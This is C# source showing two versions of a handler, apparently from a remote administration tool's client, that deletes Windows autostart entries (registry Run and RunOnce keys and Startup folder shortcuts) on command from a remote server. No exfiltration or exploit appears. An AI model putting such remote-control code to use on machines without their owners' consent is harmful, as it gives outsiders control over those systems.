public static void HandleDoStartupItemRemove(Packets.ServerPackets.DoStartupItemRemove command, Client client) { try { switch (command.Type) { case 0: using ( var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key == null) { throw new Exception("Registry key does not exist"); } key.DeleteValue(command.Name, true); key.Close(); } break; case 1: using ( var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key == null) { throw new Exception("Registry key does not exist"); } key.DeleteValue(command.Name, true); key.Close(); } break; case 2: using ( var key = Registry.CurrentUser.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key == null) { throw new Exception("Registry key does not exist"); } key.DeleteValue(command.Name, true); key.Close(); } break; case 3: using ( var key = Registry.CurrentUser.OpenWritableSubKeySafe( "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key == null) { throw new Exception("Registry key does not exist"); } key.DeleteValue(command.Name, true); key.Close(); } break; case 4: if (PlatformHelper.Architecture != 64) { throw new NotSupportedException("Only on 64-bit systems supported"); } using ( var key = Registry.LocalMachine.OpenWritableSubKeySafe( "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key == null) { throw new Exception("Registry key does not exist"); } key.DeleteValue(command.Name, true); key.Close(); } break; case 5: if (PlatformHelper.Architecture != 64) { throw new NotSupportedException("Only on 64-bit systems supported"); } using ( var key = Registry.LocalMachine.OpenWritableSubKeySafe( "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key == null) { throw new Exception("Registry key does not exist"); } key.DeleteValue(command.Name, true); key.Close(); } break; case 6: string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), command.Name); if (!File.Exists(lnkPath)) { throw new IOException("File does not exist"); } File.Delete(lnkPath); break; } } catch (Exception ex) { new Packets.ClientPackets.SetStatus(string.Format("Removing Autostart Item failed: {0}", ex.Message)).Execute(client); } }
public static void HandleDoStartupItemRemove(Packets.ServerPackets.DoStartupItemRemove command, Client client) { try { switch (command.Type) { case 0: if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name)) { throw new Exception("Could not remove value"); } break; case 1: if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name)) { throw new Exception("Could not remove value"); } break; case 2: if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name)) { throw new Exception("Could not remove value"); } break; case 3: if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name)) { throw new Exception("Could not remove value"); } break; case 4: if (!PlatformHelper.Is64Bit) { throw new NotSupportedException("Only on 64-bit systems supported"); } if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name)) { throw new Exception("Could not remove value"); } break; case 5: if (!PlatformHelper.Is64Bit) { throw new NotSupportedException("Only on 64-bit systems supported"); } if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name)) { throw new Exception("Could not remove value"); } break; case 6: string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), command.Name); if (!File.Exists(startupItemPath)) { throw new IOException("File does not exist"); } File.Delete(startupItemPath); break; } } catch (Exception ex) { new Packets.ClientPackets.SetStatus(string.Format("Removing Autostart Item failed: {0}", ex.Message)).Execute(client); } }